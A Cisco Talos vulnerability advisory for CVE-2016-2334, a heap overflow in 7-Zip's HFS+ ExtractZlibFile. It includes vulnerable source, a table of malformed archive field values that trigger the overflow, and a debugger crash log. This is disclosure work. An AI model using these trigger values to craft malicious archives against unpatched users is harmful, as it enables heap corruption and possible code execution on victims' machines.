Talos Vulnerability Report

TALOS-2016-0093

7zip HFS+ NArchive::NHfs::CHandler::ExtractZlibFile Code Execution Vulnerability

May 10, 2016

Report ID

CVE-2016-2334

7zip HFS+ NArchive::NHfs::CHandler::ExtractZlibFile Code Execution Vulnerability

Description

An exploitable heap overflow vulnerability exists in the NArchive::NHfs::CHandler::ExtractZlibFile method functionality of 7zip that can lead to arbitrary code execution.

Tested Versions

7-Zip [32] 15.05 beta
7-Zip [64] 9.20

Product URLs

http://www.7-zip.org/

CVSSv3 Score

7.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Details

In HFS+ file system, files can be stored in compressed form with zlib usage. There is 3 different ways of keeping data in that form which depends on their size. Data of files which compressed size is bigger than 3800 bytes is stored in resource fork, split into blocks. Blocks size and their offset are keep in table just after resource fork header. Before decompression, ExtractZlibFile method read block size and its offset from file and after that read block data into static size buffer “buf”. Because there is no check whether size of block is bigger than size of “buf”, malformed size of block exceeding mentioned “buf” size will cause buffer overflow and heap corruption.

Vulnerable code

7zip\src\7z1505-src\CPP\7zip\Archive\HfsHandler.cpp

Line 1496 HRESULT CHandler::ExtractZlibFile(
Line 1497   ISequentialOutStream *outStream,
Line 1498   const CItem &item,
Line 1499   NCompress::NZlib::CDecoder *_zlibDecoderSpec,
Line 1500   CByteBuffer &buf,
Line 1501   UInt64 progressStart,
Line 1502   IArchiveExtractCallback *extractCallback)
Line 1503 {
Line 1504   CMyComPtr<ISequentialInStream> inStream;
Line 1505   const CFork &fork = item.ResourceFork;
Line 1506   RINOK(GetForkStream(fork, &inStream));
Line 1507   const unsigned kHeaderSize = 0x100 + 8;
Line 1508   RINOK(ReadStream_FALSE(inStream, buf, kHeaderSize));
Line 1509   UInt32 dataPos = Get32(buf);
Line 1510   UInt32 mapPos = Get32(buf + 4);
Line 1511   UInt32 dataSize = Get32(buf + 8);
Line 1512   UInt32 mapSize = Get32(buf + 12);
      (...)
Line 1538   RINOK(ReadStream_FALSE(inStream, tableBuf, tableSize));
Line 1539
Line 1540   UInt32 prev = 4 + tableSize;
Line 1541
Line 1542   UInt32 i;
Line 1543   for (i = 0; i < numBlocks; i++)
Line 1544   {
Line 1545   UInt32 offset = GetUi32(tableBuf + i * 8);
Line 1546   UInt32 size = GetUi32(tableBuf + i * 8 + 4);
Line 1547   if (size == 0)
Line 1548     return S_FALSE;
Line 1549   if (prev != offset)
Line 1550     return S_FALSE;
Line 1551   if (offset > dataSize2 ||
Line 1552     size > dataSize2 - offset)
Line 1553     return S_FALSE;
Line 1554   prev = offset + size;
Line 1555   }
Line 1556
Line 1557   if (prev != dataSize2)
Line 1558   return S_FALSE;
Line 1559
Line 1560   CBufInStream *bufInStreamSpec = new CBufInStream;
Line 1561   CMyComPtr<ISequentialInStream> bufInStream = bufInStreamSpec;
Line 1562
Line 1563   UInt64 outPos = 0;
Line 1564   for (i = 0; i < numBlocks; i++)
Line 1565   {
Line 1566   UInt64 rem = item.UnpackSize - outPos;
Line 1567   if (rem == 0)
Line 1568     return S_FALSE;
Line 1569   UInt32 blockSize = kCompressionBlockSize;
Line 1570   if (rem < kCompressionBlockSize)
Line 1571     blockSize = (UInt32)rem;
Line 1572
Line 1573   UInt32 size = GetUi32(tableBuf + i * 8 + 4);
Line 1574
Line 1575   RINOK(ReadStream_FALSE(inStream, buf, size)); // !!! HEAP OVERFLOW !!!

During extraction from HFS+ image having compressed files with “com.apple.decmpfs” attribute and data stored in resource fork we land in above code. Let we start our analysis from line where buffer overflow appears. Like mentioned in description compressed file data is split into blocks and each block before decompression is read into “buf” as we can see in Line 1575. Based on “size” value ReadStream_FALSE reads portion of data into “buf” buffer. Buffer “buf” definition and its size we can observe in ExtractZlibFile caller CHandler::Extract method:

Line 1633 STDMETHODIMP CHandler::Extract(const UInt32 *indices, UInt32 numItems,
Line 1634   Int32 testMode, IArchiveExtractCallback *extractCallback)
Line 1635 {
(...)
Line 1652
Line 1653   const size_t kBufSize = kCompressionBlockSize; // 0x10000
Line 1654   CByteBuffer buf(kBufSize + 0x10); // we need 1 additional bytes for uncompressed chunk header
(...)
Line 1729          HRESULT hres = ExtractZlibFile(realOutStream, item, _zlibDecoderSpec, buf,
Line 1730            currentTotalSize, extractCallback);

As you can see its size is constant and equal to 0x10010 bytes. Going back to ExtractZlibFile method. Line 1573 presents setting block “size” value read from tableBuf. tableBuf in Line 1538 is read from file, what implicates that “size” is a just a part of data coming from file so we can have direct influence on its value. Setting value for “size” bigger than 0x10010 we should achieve buffer overflow and in consequences heap corruption. Let us check eventual constraints.

Before Line 1573 value of “size” variable is read in loop included in lines 1543-1555. This block of code is responsible of check whether data blocks are consistent, what means that :

  • data block should start just after tableBuf ,line 1540
  • following data block should start at previous block size + offset, line: 1549
  • offset should not be bigger than dataSize2 (size of compressed data) ,line 1551
  • “size” should not be bigger than remaining data, line 1552

As we can see there is no check whether “size” is bigger than “buf” size and described above constraints don’t have influence on it either. Now, the best way to trigger overflow is to decrease value of “numBlocks” to 2, set first “size” value to enough to overflow “buf” (so > 0x10010 ) and rest of values just to fit constraints.

Example of modified values:

  file offset:  variable:        Original:          Malformed:
  0xD342A       item.UnpackSize      0x1411b0         0x0020000
  0x786104      numBlocks       0x15            0x2
  0x786108      tableBuf[0].offset    0xAC            0x14
  0x78610C      tableBuf[0].size    0x95f6            0x11fff
  0x786110      tableBuf[1].offset    0x96A2            0x12013
  0x786114      tableBuf[1].size    0x9a6d            0x8E4FB

Crash analysis

  ModLoad: 00160000 001d5000   7z.exe
  (1458.1584): Break instruction exception - code 80000003 (first chance)
  eax=00000000 ebx=00000000 ecx=3c750000 edx=000de2a8 esi=fffffffe edi=00000000
  eip=77cf12fb esp=004af46c ebp=004af498 iopl=0         nv up ei pl zr na pe nc
  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
  ntdll!LdrpDoDebuggerBreak+0x2c:
  77cf12fb cc              int     3
  0:000> g
  eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=fffdd000 edi=004ae960
  eip=77c6fcae esp=004ae834 ebp=004ae888 iopl=0         nv up ei pl zr na pe nc
  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
  ntdll!ZwMapViewOfSection+0x12:
  77c6fcae 83c404          add     esp,4
  *** WARNING: Unable to verify checksum for 7z.exe
  0:000> g
  Breakpoint 83 hit
  eax=005a9ab0 ebx=00000000 ecx=00000000 edx=00011fff esi=005a9ab0 edi=00000000
  eip=6967bbe5 esp=004ae698 ebp=004ae82c iopl=0         nv up ei pl nz ac po nc
  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
  7z_69640000!NArchive::NHfs::CHandler::ExtractZlibFile+0x5b5:
  6967bbe5 8b4580          mov     eax,dword ptr [ebp-80h] ss:002b:004ae7ac=ff1f0100

  line:     RINOK(ReadStream_FALSE(inStream, buf, size)); //JUST BEFORE OVERFLOW HIT!

  0:000> dv size
             size = 0x11fff
  0:000> dt buf
  Local var @ 0x4ae840 Type CBuffer<unsigned char>*
  0x004ae994
     +0x000 _items           : 0x02530048  ""
     +0x004 _size            : 0x10010
  0:000> !heap -x 0x02530048
  Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
  -----------------------------------------------------------------------------
  02530040  02530048  00540000  02530000     10018        40         8  busy

  0:000> !heap -x 0x02530048+0x10018
  Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
  -----------------------------------------------------------------------------
  02540058  02540060  00540000  02530000     3e048     10018         0  free

  0:000> p
  eax=00000000 ebx=00000000 ecx=00011fff edx=004ae680 esi=02530048 edi=00000000
  eip=6967bc51 esp=004ae698 ebp=004ae82c iopl=0         nv up ei pl zr na pe nc
  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
  7z_69640000!NArchive::NHfs::CHandler::ExtractZlibFile+0x621:
  6967bc51 8b4d14          mov     ecx,dword ptr [ebp+14h] ss:002b:004ae840=94e94a00
  0:000> !heap -x 0x02530048+0x10018
  List corrupted: (Flink->Blink = 41414141) != (Block = 005fedb0)
  HEAP 00540000 (Seg 00540000) At 005feda8 Error: block list entry corrupted

  ERROR: Block 02540058 previous size 3e00 does not match previous block size 2003
  HEAP 00540000 (Seg 02530000) At 02540058 Error: invalid block Previous

  0:000> g
  Critical error detected c0000374
  (1458.1584): Break instruction exception - code 80000003 (first chance)
  eax=00000000 ebx=00000000 ecx=77cbf861 edx=004ae1c9 esi=00540000 edi=005fedb0
  eip=77d1ea31 esp=004ae41c ebp=004ae494 iopl=0         nv up ei pl nz na po nc
  cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
  ntdll!RtlReportCriticalFailure+0x29:
  77d1ea31 cc              int     3
  0:000> !analyze -v
  *******************************************************************************
  *                                                                             *
  *                        Exception Analysis                                   *
  *                                                                             *
  *******************************************************************************

  returning none

  FAULTING_IP:
  ntdll!RtlReportCriticalFailure+29
  77d1ea31 cc              int     3

  EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
  ExceptionAddress: 77d1ea31 (ntdll!RtlReportCriticalFailure+0x00000029)
     ExceptionCode: 80000003 (Break instruction exception)
    ExceptionFlags: 00000000
  NumberParameters: 1
     Parameter[0]: 00000000

  FAULTING_THREAD:  00001584

  PROCESS_NAME:  7z.exe

  ERROR_CODE: (NTSTATUS) 0x80000003 - {WYJ

  EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - Co najmniej jeden z argument w jest nieprawid owy.

  EXCEPTION_PARAMETER1:  00000000

  DETOURED_IMAGE: 1

  NTGLOBALFLAG:  0

  APPLICATION_VERIFIER_FLAGS:  0

  APP:  7z.exe

  LAST_CONTROL_TRANSFER:  from 77d1f965 to 77d1ea31

  BUGCHECK_STR:  APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption

  PRIMARY_PROBLEM_CLASS:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption

  DEFAULT_BUCKET_ID:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption

  STACK_TEXT:
  77d542a8 77cdb206 ntdll!RtlpAllocateHeap+0x7b2
  77d542ac 77c83d1e ntdll!RtlAllocateHeap+0x23a
  77d542b0 6f2eed63 msvcr120!malloc+0x49
  77d542b4 6f2f223c msvcr120!_malloc_crt+0x16
  77d542b8 6f3005b6 msvcr120!_stbuf+0x5c
  77d542bc 6f300a09 msvcr120!fputs+0xc6
  77d542c0 0016371c 7z!CStdOutStream::operator<<+0x1c
  77d542c4 001b1f5f 7z!CExtractCallbackConsole::SetOperationResult+0xef
  77d542c8 00180878 7z!CArchiveExtractCallback::SetOperationResult+0x4c8
  77d542cc 6967b559 7z!NArchive::NHfs::CHandler::Extract+0xf29
  77d542d0 0018faab 7z!DecompressArchive+0x89b
  77d542d4 001904dc 7z!Extract+0x97c
  77d542d8 001ba3fd 7z!Main2+0x14cd
  77d542dc 001bc0be 7z!main+0x7e
  77d542e0 001bfe33 7z!__tmainCRTStartup+0xfd
  77d542e4 7563337a kernel32!BaseThreadInitThunk+0xe
  77d542e8 77c892e2 ntdll!__RtlUserThreadStart+0x70
  77d542ec 77c892b5 ntdll!_RtlUserThreadStart+0x1b


  FOLLOWUP_IP:
  MSVCR120!_stbuf+5c
  6f3005b6 8904bd60053c6f  mov     dword ptr MSVCR120!_stdbuf (6f3c0560)[edi*4],eax

  SYMBOL_STACK_INDEX:  4

  SYMBOL_NAME:  msvcr120!_stbuf+5c

  FOLLOWUP_NAME:  MachineOwner

  MODULE_NAME: MSVCR120

  IMAGE_NAME:  MSVCR120.dll

  DEBUG_FLR_IMAGE_TIMESTAMP:  524f7ce6

  STACK_COMMAND:  dps 77d542a8 ; kb

  FAILURE_BUCKET_ID:  ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption_80000003_MSVCR120.dll!_stbuf

  BUCKET_ID:  APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_freelists_corruption_DETOURED_msvcr120!_stbuf+5c

  WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/7z_exe/15_5_0_0/5591858b/ntdll_dll/6_1_7601_18869/55636317/80000003/000cea31.htm?Retriage=1

  Followup: MachineOwner
  ---------

Credit

Discovered by Marcin ‘Icewall’ Noga of Cisco Talos

Timeline

2016-03-03 - Vendor Notification
2016-05-10 - Public Disclosure